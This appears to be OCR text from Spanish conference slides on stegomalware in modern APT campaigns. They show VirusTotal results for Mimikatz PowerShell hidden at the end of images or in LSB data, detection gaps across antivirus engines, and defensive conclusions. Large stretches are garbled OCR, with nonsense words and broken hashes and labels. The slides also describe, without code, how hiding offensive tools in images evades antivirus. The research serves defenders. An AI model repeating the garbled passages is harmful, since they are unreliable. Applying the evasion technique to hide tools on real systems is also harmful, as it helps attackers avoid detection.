#Ekoparty Your polyglot belongs to me. https://www.youtube.com/watch?v=Z50K2YODMUI

https://github.com/mindcrypt/covertchannels-steganography

© Anomalias (EOF): Es otro formato de imagen, 0x00s, Roundpic,
Phatnchnn HTMI nn eviggdmaoan (irl dal dev) mancaisac rarnc

B Andiists de Stege-mbgenes

) fuaee ChiSouare. Kindes info ocua.

Finding stegomalware in a ocean of apj

https://www.youtube.com/watch?v=Xn38Y7puq-g

(Alfonso Mufioz, 2005) - http://stegsecret.sourceforge.net/



https://github.com/mindcrypt/covertchannels-steganography
https://github.com/mindcrypt/powerglot
https://github.com/mindcrypt/polyglot

. Quée hacemos? - (Antivirus?
Tiempo de la industria

y . Fe ye . rd
* No se detectan las técnicas mas basicas de esteganografia (EoF, LSB
[ y ===
(D 14 engines detected this file IS4
41 (D) 41engines detected this file (G
o 4fb5595d00e391750! 0f80f30 222MB 2020-11-18 1110:53 UTC Y™
ebf5417450c81e1958(75e4ca91dd0ab9891co787bbsbOb993e2151d9a2a5bb 210 MB 2020-11-06 14:45:29 UTC = sbeljpg 3 2 minutes ago JPG
1 daysago TXT ‘
’ Invoke-Mimikatz.ps1 G _v =
— text X iva
X v
DETECTION DETAILS COMMUNITY
DETECTION DETAILS RELATIONS communiTy &
Ad-Aware (D Application.Hacktool GV Arcabit (D) Appiication.HacktoolQV
Ad-Aware (D) Application.HackTool PowerSploit.A AegisLab (@ Trojan.Powershell.Mimikatz.itc
BitDefend: (D) Application.Hacktool. GV [ (D) PSHiHackToolA
AhnLab-V3 (@ Script/Powershell AlYac (D Trofan.PowersShell Agent toetender O Application Hacktoo yren o sekdec
( 5 I¢ i
Antiy-AVL (D) GrayWare/PowerShell.Mimikatz.a Arcabit (D) Application.HackTool PowerSploit.A priveb @ Toolnimikatz.225 Emsisoft @ Application Hacktool OV (B)
Avast (D BV:AndroDrp-B [Drp) AVG (D BV:AndroDrp-B [Drp) . .
Mimikatz en formato Powershell en EOF
Mimikatz en formato Powershell
-
~ D o ine detected this fil o M
(D) 18 engines detected this file v B 1 @ Ere e o
N
= fc5918f5: f93f 0fb2e25092 292MB 2020-11-18 11:22:07 UTC .‘"
9bdecas4754b370ba586e04c7cc9314a057c721a881eb27715dbb2d347a3cc2 284MB 2019-02-20 12:13:08 UTC = - N JFE
. 3minutes ago
= Invoke-Mirmikatzéd.pst Size 1yea T 7 sbe2ieg N
- et X Eurr'TJr ty —
DETECTION DETAILS COMMUNITY @ DETECTION DETAILS COMMUNITY
Ad-Aware (D) Application.HackTool PowerSploit.A Arcabit (D Application.HackTool. PowerSploit.A NANO-Antivirus (D Trojan.scriptMimikatz.eufawh Ad-Aware () Undetected
Avira (no cloud) (1) TRIPowerShell.Gen BitDefender (D) Application.HackTool. PowerSploit.A AegisLab (Z) Undetected Ahnlab-V3 (%) Undetected
Driweb (@ ToolMimikatz.225 Emsisoft (D Application.HackTool.PowerSploit.A (8)
eScan (D) Application.HackTool PowerSpioit.A F-Secure (D) TrojanTRIPowerShell.Gen
. g Mimikatz (Powershell) codificado en base64 en EOF
Mimikatz en formato Powershell codificado en base64

Recordatorios: MyKings/DarCloud/Smominru botnet -> A VMProtect packed version of the SQL brute forcer (Dic 2019).




. Quée hacemos? - (Antivirus?
Tiempo de la industria

* No se detectan las técnicas mas basicas de esteganografia (EoF, LSB, ni patrones “viejos”...)

HNo enginos detecind thin o

< Mo engines detocied ths fle M gy chehec b ts fie
AR AT MO TR O A A T P e T B
Aok s Pl g cHbFaddiTB0Chbe N e TFIE00B0SEE TR S Ddbdad 1354 Sh T304 Sl s e Seanc ol TREATE a0 i s S IBR M R b as B Rt kel 30 M8 2030-11-18 ek @ T
= ShaC keSO WraSionkor Camceags mimk1a 5y
=] e — : £
No deteccion de estructuras EoF: polyglots, codigo bash, HTML... No deteccion de patrones esteganograficos “reversible” muy viejos
APTs recientes: MyKings/DarCloud/Smominru botnet, Magecart Skimmers, DarkTrack, TinyPos*, Ocultaciéon de malware y cédigo powershell ofensivo muy conocido.
Platinum APT group...
No engines detected this file > e
No deteccidn de LSB, ni siquiera en modalidades sencillas (malware sin ofuscar-cifrar).
44bbd392adfc0222437bae7be201198d2a28fdb94e9649db94c256327b9f5d72 .731.83 KB 2020-11-17 09:53:24 UTC :E:E:E
: lensSiaceior stege.pna e (e 2 APTs recientes y tools tipicas: PSImage-Invoke, Ursnif, Powload, Oceanlotus APT-32,
Community prg o o e
D “ € Waterbug/Turla,Lokibot,TheDukes,NanoCore RAT,Bebloh*,Qilrig*,MT3

DETECTION DETAILS COMMUNITY
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Stegolnspector
Tiempo de la industria

psi//stegoinspector.com/#/upload @ 1

STEGOInspector

files and urls to detect types of stegomalware,

inetum.®




Conclusiones CHALLENGE

« El stegomalware es unatendencia en auge. El malware actual (APT, ransomware, RAT, ...)y
actualizaciones de piezas antiguas lo estan utilizando.

« De momento, las técnicas esteganograficas son “basicas”. ; Qué hacen los defensores?

« RETO para la industria

» Desarrollar tecnologia propia, adicionalmente a las capacidades de compaiias de inteligencia /
antivirus.

 No todo es “estadistica/estegoanalisis” (grano/paja)...
« ¢CoOmo se comportan tus usuarios?¢Qué imagenes comparten?

» ¢Qué medidas de proteccion a nivel de red puedo establecer conociendo los covert-channels mas
usados?

» Cyber Kill chain — Aunque la deteccion no sea perfecta... ;Merece la pena para detectar ataques?




Stegomalware en APTs modernos.
Técnicas y contramedidas

MUCHAS GRACIAS

Dr. Alfonso Muioz (@mindcrypt)




